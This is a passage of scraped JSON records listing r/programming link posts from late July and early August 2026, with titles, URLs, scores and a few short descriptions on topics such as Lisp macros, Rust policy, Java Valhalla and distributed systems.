  "body": "This post is a lover letter to Emacs Lisp macros. I've been a long time user as a lisp hacker, and my recent obsessions with Douglas Hofstadter's strange loop concepts and M.C. Escher's mind bending artwork have enhanced my appreciation of this language's most beautiful and thought provoking feature. This post can teach you about macros and what makes them useful, but I also hope it can instill a fascination with their concept. [https://www.chiply.dev/post-elisp-macros-are-beautiful](https://www.chiply.dev/post-elisp-macros-are-beautiful)",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 50,
  "upvoteRatio": 0.89,
  "numComments": 6,
  "createdAt": "2026-08-05T14:04:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-elisp-macros-are-beautiful",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vg7jad",
  "url": "https://yogthos.net/posts/2026-08-03-splat-painter.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vg7jad/painting_with_gaussians/",
  "title": "Painting with Gaussians",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.86,
  "numComments": 4,
  "createdAt": "2026-08-05T13:34:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yogthos.net/posts/2026-08-03-splat-painter.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vg555b",
  "url": "https://blog.rust-lang.org/inside-rust/2026/08/05/rust-langrust-is-adopting-an-llm-policy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vg555b/the_rust_programming_language_is_adopting_a_new/",
  "title": "The rust programming language is adopting a new contributing policy",
  "body": null,
  "author": "mareek",
  "subreddit": "programming",
  "score": 627,
  "upvoteRatio": 0.96,
  "numComments": 132,
  "createdAt": "2026-08-05T11:50:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.rust-lang.org/inside-rust/2026/08/05/rust-langrust-is-adopting-an-llm-policy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vg4nwf",
  "url": "https://encore.dev/blog/message-queue-hangs",
  "permalink": "https://www.reddit.com/r/programming/comments/1vg4nwf/your_sqs_consumer_can_hang_forever_by_default/",
  "title": "Your SQS consumer can hang forever by default",
  "body": null,
  "author": "TheSwedeheart",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.76,
  "numComments": 4,
  "createdAt": "2026-08-05T11:26:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/message-queue-hangs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vfrjfk",
  "url": "https://theopenpresenter.com/blog/reverse-engineering-google-slides/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vfrjfk/reverse_engineering_google_slides/",
  "title": "Reverse Engineering Google Slides",
  "body": null,
  "author": "IamMichaelSalim",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.84,
  "numComments": 0,
  "createdAt": "2026-08-05T00:09:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://theopenpresenter.com/blog/reverse-engineering-google-slides/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vfqtn6",
  "url": "https://youtu.be/Qr3VsZYQy4s",
  "permalink": "https://www.reddit.com/r/programming/comments/1vfqtn6/how_zanzlanz_released_a_game_that_has_no_assets/",
  "title": "How Zanzlanz released a game that has no assets",
  "body": "Specifically, the video is about developing a game where all the textures and sounds are generated at runtime using Sine waves. I thought it was high-quality and explained complex math concepts well.",
  "author": "TheBrokenRail-Dev",
  "subreddit": "programming",
  "score": 167,
  "upvoteRatio": 0.94,
  "numComments": 18,
  "createdAt": "2026-08-04T23:39:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Qr3VsZYQy4s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vfjdqy",
  "url": "https://hisham.hm/2026/08/04/the-lua-community-needs-to-learn-to-move-on/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vfjdqy/the_lua_community_needs_to_learn_to_move_on/",
  "title": "The Lua community needs to learn to move on",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 548,
  "upvoteRatio": 0.92,
  "numComments": 74,
  "createdAt": "2026-08-04T18:52:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hisham.hm/2026/08/04/the-lua-community-needs-to-learn-to-move-on/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vfi87s",
  "url": "https://blog.gaborkoos.com/posts/2026-08-03-Your-JSON-Is-Lying-to-You/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vfi87s/your_json_is_lying_to_you/",
  "title": "Your JSON Is Lying to You",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 13,
  "createdAt": "2026-08-04T18:11:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-08-03-Your-JSON-Is-Lying-to-You/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vf8x07",
  "url": "https://youtu.be/2om5ofTuV2Q?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
  "permalink": "https://www.reddit.com/r/programming/comments/1vf8x07/front_end_testing_with_github_actions_amy/",
  "title": "Front End Testing with GitHub Actions • Amy Kapernick",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 6,
  "createdAt": "2026-08-04T12:27:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/2om5ofTuV2Q?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vf6msi",
  "url": "https://joeldare.com/why-im-writing-pure-html-and-css-in-2025",
  "permalink": "https://www.reddit.com/r/programming/comments/1vf6msi/why_im_writing_pure_html_css_in_2025/",
  "title": "Why I’m Writing Pure HTML & CSS in 2025",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 150,
  "upvoteRatio": 0.69,
  "numComments": 114,
  "createdAt": "2026-08-04T10:35:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://joeldare.com/why-im-writing-pure-html-and-css-in-2025",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vf68qb",
  "url": "https://ekxide.io/blog/byte-wise-atomic-wrapper-to-prevent-ub",
  "permalink": "https://www.reddit.com/r/programming/comments/1vf68qb/safe_lockfree_primitives_with_iceoryx2s_byteatomic/",
  "title": "Safe Lock-free Primitives with iceoryx2's ByteAtomic",
  "body": "[https://ekxide.io/blog/byte-wise-atomic-wrapper-to-prevent-ub](https://ekxide.io/blog/byte-wise-atomic-wrapper-to-prevent-ub)\n\n[iceoryx2](https://github.com/eclipse-iceoryx/iceoryx2) provides zero-copy inter-process communication mechanisms based on shared memory and data structures that are modified concurrently by multiple processes.\n\nOne of the key operations in these algorithms is a memory copy using `core::ptr::copy`. However, this results in undefined behavior if one process reads the data while another process writes to it concurrently. Even if our lock-free algorithm reliably detects such a race, [iceoryx2](https://github.com/eclipse-iceoryx/iceoryx2) cannot depend on undefined behavior in a safety-critical system.\n\nThis blog post introduces our solution: a byte-wise atomic wrapper that enables well-defined concurrent copy operations. It also shows how it can be used to implement a simple sequence lock.\n\nNote: I am not the original author of the blog post. Since the author does not have a Reddit account, I am posting it on her behalf.",
  "author": "elfenpiff",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.76,
  "numComments": 3,
  "createdAt": "2026-08-04T10:14:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ekxide.io/blog/byte-wise-atomic-wrapper-to-prevent-ub",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1veq9ff",
  "url": "https://blog.cloudflare.com/meerkat-introduction/",
  "permalink": "https://www.reddit.com/r/programming/comments/1veq9ff/cloudflare_introduced_tool_that_synchronize_its/",
  "title": "Cloudflare introduced tool that synchronize its servers",
  "body": null,
  "author": "Ok_Stomach6651",
  "subreddit": "programming",
  "score": 262,
  "upvoteRatio": 0.94,
  "numComments": 12,
  "createdAt": "2026-08-03T21:16:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/meerkat-introduction/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vejwan",
  "url": "https://www.youtube.com/watch?v=V_qzqY1bb7I",
  "permalink": "https://www.reddit.com/r/programming/comments/1vejwan/reliability_lessons_from_sqlite_richard_hipp_ssw/",
  "title": "Reliability Lessons From SQLite - Richard Hipp | SSW 2026",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 113,
  "upvoteRatio": 0.95,
  "numComments": 6,
  "createdAt": "2026-08-03T17:24:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=V_qzqY1bb7I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1veitue",
  "url": "https://open.mp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1veitue/analyzing_the_current_activity_and_relevance_of/",
  "title": "Analyzing the Current Activity and Relevance of the Pawn Ecosystem in 2026",
  "body": "I have been observing the Pawn ecosystem lately and noticed it is far from inactive, with ongoing development of modern tools like a web-based Pawn Studio designed to replace the outdated Pawno editor, alongside projects such as PawnPlus which continue to receive updates, with version 1.5.3 released just a few months ago in February 2026. This activity seems to be driven largely by the SA-MP and [Open.mp](https://open.mp/) modding communities, with [open.mp](https://open.mp/) itself being actively maintained and improved, and the broader GitHub ecosystem showing dozens of public repositories related to Pawn and [Open.mp](https://open.mp/). Given this context, I would like to ask whether the Pawn community, especially within the SA-MP and [Open.mp](https://open.mp/) scene, is still significant enough to consider the language actively relevant in 2026, or if this is primarily a legacy ecosystem with a concentrated but declining user base. I would be grateful to hear from developers who are currently working with Pawn about their experiences, whether modern tooling like Pawn Studio and PawnPlus have meaningfully improved development, and whether they are seeing new developers enter the scene or if the community is largely composed of seasoned veterans. Thank you for your thoughts.",
  "author": "PutuSuhartawan",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.78,
  "numComments": 3,
  "createdAt": "2026-08-03T16:46:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.mp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vedd5i",
  "url": "https://hivekit.io/blog/why-you-might-want-to-build-your-webapp-in-canvas-instead-of-html/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vedd5i/why_you_might_want_to_build_your_webapp_in_canvas/",
  "title": "Why you might want to build your WebApp in Canvas instead of HTML",
  "body": null,
  "author": "wolframhempel",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 11,
  "createdAt": "2026-08-03T13:24:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hivekit.io/blog/why-you-might-want-to-build-your-webapp-in-canvas-instead-of-html/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ve9ow7",
  "url": "https://www.npopov.com/2012/06/15/The-true-power-of-regular-expressions.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ve9ow7/the_true_power_of_regular_expressions/",
  "title": "The true power of regular expressions",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 119,
  "upvoteRatio": 0.89,
  "numComments": 51,
  "createdAt": "2026-08-03T10:31:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.npopov.com/2012/06/15/The-true-power-of-regular-expressions.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ve9cf0",
  "url": "https://yusufaytas.com/the-invariant-is-hiding",
  "permalink": "https://www.reddit.com/r/programming/comments/1ve9cf0/the_invariant_is_hiding/",
  "title": "The Invariant Is Hiding",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 39,
  "upvoteRatio": 0.75,
  "numComments": 11,
  "createdAt": "2026-08-03T10:12:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/the-invariant-is-hiding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ve71ag",
  "url": "https://github.com/rust-lang/rust-project-goals/blob/main/src/2026/move-trait.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1ve71ag/rust_immobile_types_and_guaranteed_destructors/",
  "title": "Rust Immobile types and guaranteed destructors",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 91,
  "upvoteRatio": 0.9,
  "numComments": 27,
  "createdAt": "2026-08-03T08:00:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/rust-lang/rust-project-goals/blob/main/src/2026/move-trait.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ve1own",
  "url": "https://leetarxiv.substack.com/p/l2-reduction-fast-lll-quadratic-complexity",
  "permalink": "https://www.reddit.com/r/programming/comments/1ve1own/l2_reduction_lll_algorithm_with_quadratic/",
  "title": "L2 Reduction: LLL Algorithm With Quadratic Complexity in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.72,
  "numComments": 1,
  "createdAt": "2026-08-03T03:09:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/l2-reduction-fast-lll-quadratic-complexity",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdywwj",
  "url": "https://mail.openjdk.org/archives/list/jdk-dev@openjdk.org/message/NN3FIR6BULP3GE5R34B6IBO5VQKAPNMZ/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdywwj/project_valhalla_jep_401_value_objects_preview/",
  "title": "Project Valhalla -- JEP 401: Value Objects (Preview) JDK 28 integration",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.79,
  "numComments": 1,
  "createdAt": "2026-08-03T00:56:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mail.openjdk.org/archives/list/jdk-dev@openjdk.org/message/NN3FIR6BULP3GE5R34B6IBO5VQKAPNMZ/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdy27t",
  "url": "https://youtu.be/Ek0_rPa0Law",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdy27t/project_valhalla_realtalk_what_is_it/",
  "title": "Project Valhalla, real-talk... what is it?",
  "body": "For decades, Java's object model has powered one of the world's most successful programming languages. But the hardware we run on today looks very different from the world Java was born into in 1995.  \n  \nModern CPUs are incredibly fast, but memory access, cache locality, and object allocation have become some of the biggest performance challenges in software.  \n  \nProject Valhalla is one of the most ambitious changes in Java's history. It isn't just about making Java faster... it's about rethinking what a Java object actually is.",
  "author": "OSBY_Glabay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 0,
  "createdAt": "2026-08-03T00:17:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Ek0_rPa0Law",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdnb3e",
  "url": "https://fagnerbrack.com/the-debate-of-mockist-classicist-tdd-is-like-oop-fp-c9124185f3d2",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdnb3e/the_debate_of_mockist_v_classicist_tdd_is_like/",
  "title": "The Debate of Mockist v Classicist TDD Is Like OOP v FP.",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.76,
  "numComments": 93,
  "createdAt": "2026-08-02T17:00:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/the-debate-of-mockist-classicist-tdd-is-like-oop-fp-c9124185f3d2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdjt5i",
  "url": "https://30fps.net/pages/255-vs-256-division/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdjt5i/should_you_normalize_rgb_values_by_255_or_256/",
  "title": "Should you normalize RGB values by 255 or 256?",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 558,
  "upvoteRatio": 0.89,
  "numComments": 118,
  "createdAt": "2026-08-02T14:40:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://30fps.net/pages/255-vs-256-division/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdfij8",
  "url": "https://fzakaria.com/2026/06/01/every-byte-matters",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdfij8/every_byte_matters/",
  "title": "Every byte matters",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 202,
  "upvoteRatio": 0.94,
  "numComments": 43,
  "createdAt": "2026-08-02T11:20:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fzakaria.com/2026/06/01/every-byte-matters",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vdcv3x",
  "url": "https://cgicoffee.com/blog/2026/04/tcl-tk-develop-cross-platform-cli-gui-tools-tutorial-guide",
  "permalink": "https://www.reddit.com/r/programming/comments/1vdcv3x/develop_crossplatform_cli_and_gui_tools_with/",
  "title": "Develop Cross-Platform CLI and GUI Tools With Tcl/Tk. Powerful, Event-Driven, Open-Source And Future-Proof Toolkit… From the Past?!",
  "body": null,
  "author": "CGM",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.91,
  "numComments": 17,
  "createdAt": "2026-08-02T08:46:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cgicoffee.com/blog/2026/04/tcl-tk-develop-cross-platform-cli-gui-tools-tutorial-guide",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vd9q70",
  "url": "https://sushantdhiman.dev/blog/raft/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vd9q70/understanding_raft_leader_election_by_building/",
  "title": "Understanding Raft Leader Election by building from scratch",
  "body": null,
  "author": "Sushant098123",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.87,
  "numComments": 2,
  "createdAt": "2026-08-02T05:47:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sushantdhiman.dev/blog/raft/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vd7jnr",
  "url": "https://www.nist.gov/blogs/taking-measure/quantum-computers-may-put-internet-traffic-risk-nist-safeguarding-computers-new",
  "permalink": "https://www.reddit.com/r/programming/comments/1vd7jnr/quantum_computers_may_put_internet_traffic_at/",
  "title": "Quantum Computers May Put Internet Traffic at Risk. NIST Is Safeguarding Computers With New Standards.",
  "body": null,
  "author": "donutloop",
  "subreddit": "programming",
  "score": 44,
  "upvoteRatio": 0.74,
  "numComments": 18,
  "createdAt": "2026-08-02T03:53:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nist.gov/blogs/taking-measure/quantum-computers-may-put-internet-traffic-risk-nist-safeguarding-computers-new",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vd5q3j",
  "url": "https://jshun.csail.mit.edu/6506-s24/lectures/lecture6-2.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1vd5q3j/variations_on_a_theme_of_sorting/",
  "title": "Variations on a theme of sorting",
  "body": "**Semisort**\nReorder an array so that identical keys are grouped contiguously\nKeys do not need to be in sorted order\n\n**Stable Partition**\t\nGroup by predicate, preserve order\t\n\n**K-smallest selection, single**\n\nGet the k-smallest key from the array\n\n**K-smallest selection, list**\n\nGet the k-smallest key from the array, and everything smaller (or equal), in any order\n\n**K-smallest selection, list sorted**\nGet the k-smallest key from the array, and everything smaller (or equal), in sorted order  \n",
  "author": "Grouchy-Trade-7250",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-08-02T02:22:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jshun.csail.mit.edu/6506-s24/lectures/lecture6-2.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vcsm8w",
  "url": "https://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vcsm8w/the_history_of_pets_vs_cattle_and_how_to_use_the/",
  "title": "The History of Pets vs Cattle and How to Use the Analogy Properly",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.7,
  "numComments": 3,
  "createdAt": "2026-08-01T17:01:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vcl5bj",
  "url": "https://alex.draftist.io/blog/the-bedrock-of-software-design-ycqvcedsj",
  "permalink": "https://www.reddit.com/r/programming/comments/1vcl5bj/the_bedrock_of_software_design/",
  "title": "The Bedrock of Software Design",
  "body": "I drafted this post years ago but didn’t finish it until now. The concept I write about has shaped the way I design software more than anything else, and I believe every software engineer should be introduced to it early in their career.\n\nP.S. I don’t want the title to come across as clickbait: the post is about ADT.",
  "author": "alex35mil",
  "subreddit": "programming",
  "score": 446,
  "upvoteRatio": 0.94,
  "numComments": 70,
  "createdAt": "2026-08-01T11:41:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alex.draftist.io/blog/the-bedrock-of-software-design-ycqvcedsj",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vc25gi",
  "url": "https://blog.nns.ee/2026/06/03/katana-badusb/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vc25gi/pwnd_blaster_hacking_your_pc_using_your_speaker/",
  "title": "Pwnd Blaster: Hacking your PC using your speaker without ever touching it",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 352,
  "upvoteRatio": 0.96,
  "numComments": 19,
  "createdAt": "2026-07-31T20:21:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.nns.ee/2026/06/03/katana-badusb/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbp0vm",
  "url": "https://radekmie.dev/blog/on-type-inference/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbp0vm/on_type_inference/",
  "title": "On Type Inference",
  "body": null,
  "author": "radekmie",
  "subreddit": "programming",
  "score": 86,
  "upvoteRatio": 0.86,
  "numComments": 23,
  "createdAt": "2026-07-31T12:03:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://radekmie.dev/blog/on-type-inference/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbogt3",
  "url": "https://yoavik.com/posts/canvas-path-animation",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbogt3/canvas_path_animations_animating_anything_along_a/",
  "title": "Canvas path animations: Animating anything along a curve with Canvas + SVG",
  "body": null,
  "author": "ykadosh",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-07-31T11:37:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yoavik.com/posts/canvas-path-animation",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbofod",
  "url": "https://diatone.net/methinks",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbofod/methinks_it_is_a_weasel/",
  "title": "Methinks it is a weasel",
  "body": null,
  "author": "_fourzerofour",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.71,
  "numComments": 3,
  "createdAt": "2026-07-31T11:35:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://diatone.net/methinks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vbocji",
  "url": "https://github.com/openjdk/jdk/commit/cc278dbb8a1ca0754d5842708b9029441055d361",
  "permalink": "https://www.reddit.com/r/programming/comments/1vbocji/jep_401_value_objects_and_jep_539_strict_field/",
  "title": "JEP 401: Value Objects And JEP 539: Strict Field Initialization Merged Into JDK",
  "body": null,
  "author": "joemwangi",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.81,
  "numComments": 1,
  "createdAt": "2026-07-31T11:31:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
